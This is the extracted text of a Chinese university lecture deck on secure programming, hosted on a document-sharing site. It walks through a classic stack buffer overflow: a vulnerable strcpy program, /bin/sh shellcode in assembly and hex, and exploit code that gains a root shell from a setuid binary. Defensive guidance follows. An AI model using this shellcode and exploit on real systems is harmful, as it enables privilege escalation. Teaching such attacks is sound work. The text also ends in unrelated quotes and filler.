李凤华--计算机安全与保密技术--第十章

上传人:沈*** 文档编号:145227172 上传时间:2022-08-29 格式:PPTX 页数:68 大小:304.81KB
收藏 版权申诉 举报 下载
李凤华--计算机安全与保密技术--第十章_第1页
第1页 / 共68页
李凤华--计算机安全与保密技术--第十章_第2页
第2页 / 共68页
李凤华--计算机安全与保密技术--第十章_第3页
第3页 / 共68页
资源描述:

《李凤华--计算机安全与保密技术--第十章》由会员分享,可在线阅读,更多相关《李凤华--计算机安全与保密技术--第十章(68页珍藏版)》请在装配图网上搜索。

1、网络安全第十讲 安全程序设计10.1 现实中的一些安全问题10.2 从几个程序谈起10.3 程序失败的其它例子p 强而有效的不可破解的加密技术随处均可得 到(尽管有各种各样的进出口限制)不攻击加密技术,攻击其应用的底层基础设施不攻击加密技术,攻击其实现不攻击加密技术,而从用户方面入手p所有软件都是有错的p通常情况下99.99%无错的程序很少会出问题p同安全相关的99.99%无错的程序可以确信会被人利用那0.01%的错误p0.01%安全问题等于100%的失败p程序运行平台Redhat Linux 6.1Kernel 2.2.13egcs-2.91.66#include#include void

2、SayHello(char*name)char tmpName80;strcpy(tmpName,name);/*Do some checks for tmpName.*/printf(Hello%sn,tmpName);int main(int argc,char*argv)if(argc!=2)printf(Usage:hello.n);return 1;SayHello(argv1);return 0;hello.c$./hello computerHello computer$./hello aaaa.aHello aaaa.aSegmentation fault(core dumpe

3、d)hello.cWhy?#include#include void SayHello(char*name)char tmpName80;strcpy(tmpName,name);/*Do some checks for tmpName.*/printf(Hello%sn,tmpName);int main(int argc,char*argv)if(argc!=2)printf(Usage:hello.n);return 1;SayHello(argv1);return 0;hello.cpLinux及其它几乎所有Intel x86系统、Solaris,etcp分页式存储管理p平面内存结构,

4、4GB或更大逻辑地址空间p栈从下往上生长pC语言不进行边界检查代码区数据区堆栈段字符串向下生长栈段向上生长0 x000000000 xFFFFFFFFmain函数局部变量区lastfpretipargcargvenv.ESP main栈帧tmpName80main-fpretipnamemain栈帧.ESP SayHello栈帧 computer.main-fpretipnamemain栈帧.ESP SayHello栈帧 main中return 0;./hello computeraaaaaaaaaaaaaaaaaaaaaaaaaa0 x616161610 x616161610 x616161

5、61main栈帧.ESP SayHello栈帧retip?./hello aaaaaa.a?.?0 x?0 xNNNNNNNN0 x?.Our-CodesESP SayHello栈帧retip0 xNNNNNNNNp几个问题:SayHello函数局部变量区大小?NNNNNNNN如何确定?Our codes该怎样写输入缓冲区不能包含0?.?0 x?0 xNNNNNNNN0 x?.Our-CodesESP SayHello栈帧retip0 xNNNNNNNN0 xNNNNNNNN.NNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN

6、Our-CodesESP SayHello栈帧retip0 xNNNNNNNN0 xNNNNNNNN.NNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNNOur-CodesESP SayHello栈帧retip0 xNNNNNNNN4Kp问题已转化为用ESP加上某一偏移该偏移不需要精确0 xNNNNNNNN.NNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN0 xNNNNNNNN.NNNNNNOPNOP.NOPReal-CodesESP SayHello栈帧retip0 xNNNNNNNNp问题已转化为用

7、ESP加上某一偏移该偏移不需要精确pESP如何确定呢用同样选项,插入一段代码,重新编译使用调试工具跟踪应用程序编一小程序,打印出运行时栈顶位置p在同样环境下,不同进程之间栈位置距离不会太远jmplabel2label1:popesimovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0jmplabel2label1:popes

8、imovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0 esi=cmdjmplabel2label1:popesimovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebx

9、moveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0esi+8:cmd esi=cmdjmplabel2label1:popesimovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0esi+8:cmd,0 esi=cmdjmplabel2label1:popesi

10、movesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8leaedx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0esi+8:cmd,0 esi=cmd运行程序路径运行程序路径execjmplabel2label1:popesimovesi+8,esixoreax,eaxmovesi+7,almovesi+12,eaxmoval,0bhmovebx,esileaecx,esi+8lea

11、edx,esi+12int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:call label1cmd:db“/bin/sh”,0esi+8:cmd,0 esi=cmd_exitchar shell_code=xebx1fx5ex89x76x08x31xc0”“x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0c”“xcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxffxffxff/bin/sh;#include unsigned char shell_code=xebx1fx5ex8

12、9x76x08x31xc0”“x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0c”“xcdx80 x31xdbx89xd8x40 xcd x80 xe8xdcxffxffxff/bin/ls;char large_string128;main()char buffer96;int i;test1.c long*long_ptr=(long*)large_string;for(i=0;i 32;i+)long_ptri=(long)buffer;for(i=0;i strlen(shell_code);i+)large_stringi=shell

13、_codei;strcpy(buffer,large_string);printf(Is everything OK?:-)n);test1.c$./test1Is everything OK?:-)hello hello.c test1 test1.c test1.c#include#include#include unsigned char shell_code=xebx1fx5ex89x76x08x31xc0”“x88x46x07x89x46x0cxb0 x0b x89xf3x8dx4ex08x8dx56x0c”“xcdx80 x31xdbx89xd8x40 xcd x80 xe8xdc

14、xffxffxff/bin/sh;#define DEFAULT_OFFSET 0#define BUFFER_SIZE 1024 test2.cunsigned long get_esp()_asm_(movl%esp,%eax);main(int argc,char*argv)char*buff;char*ptr;unsigned long*addr_ptr;unsigned long esp;int i,ofs;test2.c if(argc=1)ofs=DEFAULT_OFFSET;else ofs=atoi(argv1);ptr=buff=malloc(4096);/*Fill in

15、 with addresses*/addr_ptr=(unsigned long*)ptr;esp=get_esp();printf(ESP=%08xn,esp);for(i=0;i 100;i+)*(addr_ptr+)=esp+ofs;test2.c /*Fill the start of shell buffer with NOPs*/ptr=(char*)addr_ptr;memset(ptr,A,BUFFER_SIZE-strlen(shell_code);ptr+=BUFFER_SIZE-strlen(shell_code);/*And then the shell code*/m

16、emcpy(ptr,shell_code,strlen(shell_code);ptr+=strlen(shell_code);*ptr=0;printf(Is everything OK?:-)n);execl(./hello,hello,buff,NULL);test2.c$./test2ESP=bffffcd0Is everything OK?:-)Hello/bin/shbash$_ test2.cp一个程序当没有很好地检查边界条件时可能会受到缓冲区溢出攻击p有缓冲区溢出漏洞的程序当它能以特权用户身份运行时,可能让普通用户无需经过认证就可以获得系统特权pRemote root expl

17、oit通过网络,不需认证即可获得root权限pLocal root exploit本地普通用户,利用系统程序的漏洞获得root权限p网络服务程序HTTP Server、FTP Server、Mail Server,etcpsyslogpTrojian木马程序psuid/sgid程序pUnix一项特殊技术,使普通用户也能做只有超级用户才能执行的任务passwd、at、crontab、pingp普通rwx之上加上s位,kernel在载入进程映象时自动将进程有效用户/组标识置为映象文件文件属主/组p例:ls-l/usr/bin/passwd-r-s-x-x 1 root/usr/bin/passwd

18、$subash#chown root:root hellobash#chmod u+s hello;exit$./test2ESP=bffffcd0Is everything OK?:-)Hello/bin/shbash#bash#whoamirootbash#_p更为小心的程序设计将安全相关的功能隔离到仔细检查的代码内p让栈不可运行会导致若干技术难题p基于编译器的方法在代码内自动增加边界检查(very slow)运行过程中进行栈完整性检查(slight slowdown)重新排列栈变量(no slowdown)p 传递参数到其它进程p 其它类型输入p Race conditionp 会话密钥

19、的生成p 内存数据保护p 最小特权pUnix shell scriptspCGI/Perl scriptsp很复杂的应用sendmailp其它类型TCP WrapperinetdpIIS3.0以前GET././pWindows奇怪的目录名解析C:TEMPt1t2t3t4t5t6 cd .C:TEMP _p子进程从父进程继承的内容进程身份puid、gid、euid、egidp可能被跟踪、发信号改变其运行状态打开文件描述符环境变量pIFS、LD_PRELOAD文件创建模式掩码p子进程从父进程继承的内容(续)当前目录和根目录资源极限调度优先级p可能被用于下面将要谈到的race condition攻击

20、内部时钟信号处理p处理函数被重置p但被阻塞信号仍被阻塞,被忽略信号仍被忽略p原则:不要相信任何来自不可信信息源的消息p字符串操作类函数不要使用strcpy、strcat、sprintfp换用strncpy、strncat、snprintf不要使用gets、scanfp换用read、fgets小心getenv,可能被用于缓冲区溢出p字符串操作类函数(续)小心gethostbyname、gethostbyaddrp某些DNS可能返回恶意地址p如果可能,应该做双向查询p运行新进程system、popen、exec将产生新shell,可能做系统不希望它做的事换用execl或execv,对传递数据作严格

21、一致性检查(sanity check)p命令行检查程序中应仔细检查每一参数p尤其是以很高特权运行的程序p数据检查正确的方法:只允许可以确信没有问题的数据通过,如字母、数字、点及一些符号错误的方法:除已知会出问题的数据外都允许通过。可能会有漏网之鱼p例:随早期Apache web server的php.cgi就忘了过滤回车符p多任务环境下,利用进程运行的异步性,抢占或改变进程使用资源p判断资源性质与真正使用该资源之间有一个时间差,在这段时间内进程很可能运行完时间片被调度出去,此时其它进程可能改变该资源性质。p目的:创建并打开临时文件保证只有当前进程能打开该文件p生成会话密钥需要大量不可预测的随机

22、数在PC上生成随机数非常困难大多数人的动作行为是不可预测的用户输入可能是不可预测的,但对独立服务器来说很难利用p通常情况下实现由应用开发者处理但开发者的实现大多有误pNetscape(原)a=mixbits(time.tv_usec);b=mixbits(getpid()+time.tv_sec+(getppid()12);seed=MD5(a,b);nonce=MD5(seed+);key=MD5(seed+);pKerberos V4pMIT_MAGIC_COOKIE srandom(time.tv_usec time.tv_sec getpid()gethostid()counter+)

23、;key=random();for(i=0;i len;i+)value=rand();authI=value&0 xff;p随机数生成器包括两个部分轮循机制:用于收集随机数据伪随机数生成器(PRNG):展开输出p分类物理源:各种硬件实现物理源+后续处理:SG100多源轮循:SKIP单源轮循:PGP 2.x,PGP 5.xSecret nonce+PRNG:应用密码学、BSAFESecret fixed value+PRNG:ANSI X9.17关键在于三次DES加密算法和加密密钥p进程及线程信息p鼠标、键盘活动p内存及磁盘使用统计p系统时钟p网络统计p与GUI相关信息p通常需要在后台周期性轮

24、循随机源,同时估计随机性,当发现不够随机时,应采取相应措施p敏感数据通常都保存在内存中,但RAM数据随时可能被换到磁盘上p你可能会在Windows交换文件中发现你加密口令的多个拷贝p“Suspend to disk”使这一问题更加麻烦其它进程可能从内存中读取数据电源掉电后,RAM内容还有可能恢复p文件的安全删除p锁住敏感内存区:并不容易Unix:mlock(),只能由超级用户使用Win95/98:提供VirtualLock(),但不起作用WinNT:提供VirtualLock(),但非强制(数据仍可能被换出)p扫描内存,查找数据VirtualQueryEx()VirtualUnprotectE

25、x()ReadProcessMemory()p使用内存映射文件自己创建交换文件内存即使被交换出去也是交换到已知文件上,而不是由系统自动处理用完后文件即可删除p问题真正彻底删除磁盘数据是不可能的当系统崩溃或掉电后数据不会自动清除p使数据总保持在内存中用一后台线程定时访问该数据p不按页分配内存需要Kernel支持很难将内存从kernel空间映射到user空间p程序应该按照它能做事的最小特权运行p将任务分解成若干部分,每一部分都按最小特权运行9、静夜四无邻,荒居旧业贫。22.8.2922.8.29Monday,August 29,202210、雨中黄叶树,灯下白头人。9:21:179:21:179:

26、218/29/2022 9:21:17 AM11、以我独沈久,愧君相见频。22.8.299:21:179:21Aug-2229-Aug-2212、故人江海别,几度隔山川。9:21:179:21:179:21Monday,August 29,202213、乍见翻疑梦,相悲各问年。22.8.2922.8.299:21:179:21:17August 29,202214、他乡生白发,旧国见青山。2022年8月29日星期一上午9时21分17秒9:21:1722.8.2915、比不了得就不比,得不到的就不要。2022年8月上午9时21分22.8.299:21August 29,202216、行动出成果,

27、工作出财富。2022年8月29日星期一9时21分17秒9:21:1729 August 202217、做前,能够环视四周;做时,你只能或者最好沿着以脚为起点的射线向前。上午9时21分17秒上午9时21分9:21:1722.8.299、没有失败,只有暂时停止成功!。22.8.2922.8.29Monday,August 29,202210、很多事情努力了未必有结果,但是不努力却什么改变也没有。9:21:179:21:179:218/29/2022 9:21:17 AM11、成功就是日复一日那一点点小小努力的积累。22.8.299:21:179:21Aug-2229-Aug-2212、世间成事,不

28、求其绝对圆满,留一份不足,可得无限完美。9:21:179:21:179:21Monday,August 29,202213、不知香积寺,数里入云峰。22.8.2922.8.299:21:179:21:17August 29,202214、意志坚强的人能把世界放在手中像泥块一样任意揉捏。2022年8月29日星期一上午9时21分17秒9:21:1722.8.2915、楚塞三湘接,荆门九派通。2022年8月上午9时21分22.8.299:21August 29,202216、少年十五二十时,步行夺得胡马骑。2022年8月29日星期一9时21分17秒9:21:1729 August 202217、空山

29、新雨后,天气晚来秋。上午9时21分17秒上午9时21分9:21:1722.8.299、杨柳散和风,青山澹吾虑。22.8.2922.8.29Monday,August 29,202210、阅读一切好书如同和过去最杰出的人谈话。9:21:179:21:179:218/29/2022 9:21:17 AM11、越是没有本领的就越加自命不凡。22.8.299:21:179:21Aug-2229-Aug-2212、越是无能的人,越喜欢挑剔别人的错儿。9:21:179:21:179:21Monday,August 29,202213、知人者智,自知者明。胜人者有力,自胜者强。22.8.2922.8.299

30、:21:179:21:17August 29,202214、意志坚强的人能把世界放在手中像泥块一样任意揉捏。2022年8月29日星期一上午9时21分17秒9:21:1722.8.2915、最具挑战性的挑战莫过于提升自我。2022年8月上午9时21分22.8.299:21August 29,202216、业余生活要有意义,不要越轨。2022年8月29日星期一9时21分17秒9:21:1729 August 202217、一个人即使已登上顶峰,也仍要自强不息。上午9时21分17秒上午9时21分9:21:1722.8.29MOMODA POWERPOINTLorem ipsum dolor sit amet,consectetur adipiscing elit.Fusce id urna blandit,eleifend nulla ac,fringilla purus.Nulla iaculis tempor felis ut cursus.感 谢 您 的 下 载 观 看感 谢 您 的 下 载 观 看专家告诉

展开阅读全文
温馨提示:
1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
2: 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
3.本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
关于我们 - 网站声明 - 网站地图 - 资源地图 - 友情链接 - 网站客服 - 联系我们

copyright@ 2023-2025  zhuangpeitu.com 装配图网版权所有   联系电话:18123376007

备案号:ICP2024067431-1 川公网安备51140202000466号


本站为文档C2C交易模式,即用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。装配图网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知装配图网,我们立即给予删除!